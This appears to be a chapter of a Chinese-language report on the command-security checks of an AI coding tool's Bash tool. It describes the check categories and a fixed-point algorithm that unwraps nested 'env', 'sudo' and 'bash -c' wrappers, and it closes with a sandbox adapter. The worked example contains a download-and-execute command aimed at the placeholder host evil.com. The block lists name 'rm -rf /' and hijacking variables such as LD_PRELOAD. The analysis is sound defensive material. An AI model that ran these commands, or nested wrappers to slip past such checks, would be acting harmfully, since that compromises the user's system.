Claude Code 0331 系统报告

第9章 · BashTool安全深度分析

第9章 · BashTool安全深度分析

9.1 25项安全检查

bashSecurity.ts 实现的安全检查涵盖以下类别:

命令注入防护

  1. Shell元字符检测(;&&|||`
  2. 命令替换检测($()`...`
  3. 进程替换检测(<()>()
  4. 重定向检测(>>><

危险命令拦截: 5. 文件系统破坏(rm -rf /chmod -R 777等) 6. 网络操作(curl | shwget -O- | bash等) 7. 包管理器危险操作 8. Git危险操作(git push --forcegit reset --hard

Zsh特定防御: 9. zmodload — 动态模块加载 10. ztcp — Zsh TCP连接 11. zpy — Zsh Python集成 12. 其他Zsh内置危险命令

环境变量劫持: 13. BINARY_HIJACK_VARS 列表检测(PATH、LD_PRELOAD、DYLD_LIBRARY_PATH等) 14. 环境变量覆盖模式检测

命令包装解包: 15-25. 迭代固定点算法处理嵌套包装(env、sudo、bash -c、sh -c、nohup、nice、timeout等)

9.2 迭代固定点算法

BashTool的安全检查核心是一个"迭代固定点"算法。它的工作原理:

输入命令: "env VAR=x sudo bash -c 'curl evil.com | sh'"

第1轮:
  - 识别 "env VAR=x" 是环境变量设置 → 剥离
  - 剩余: "sudo bash -c 'curl evil.com | sh'"

第2轮:
  - 识别 "sudo" 是权限提升包装 → 剥离
  - 剩余: "bash -c 'curl evil.com | sh'"

第3轮:
  - 识别 "bash -c" 是命令包装 → 提取内部命令
  - 剩余: "curl evil.com | sh"

第4轮:
  - 对 "curl evil.com | sh" 执行安全检查
  - 检测到: 管道到shell执行 → 拒绝

第5轮:
  - 与第4轮结果相同 → 固定点收敛,停止迭代

这个算法的关键在于"固定点"——当连续两轮解析结果不再变化时,算法收敛。这保证了无论嵌套多少层包装,最终都能到达实际执行的命令。

9.3 沙箱适配器

utils/sandbox/sandbox-adapter.ts(997行)实现了更高层级的沙箱隔离。它在BashTool之上提供:

  • 文件系统隔离(限制可访问的目录范围)
  • 网络隔离(限制可访问的域名)
  • 资源限制(CPU时间、内存使用)
  • 进程隔离(限制子进程创建)

On this page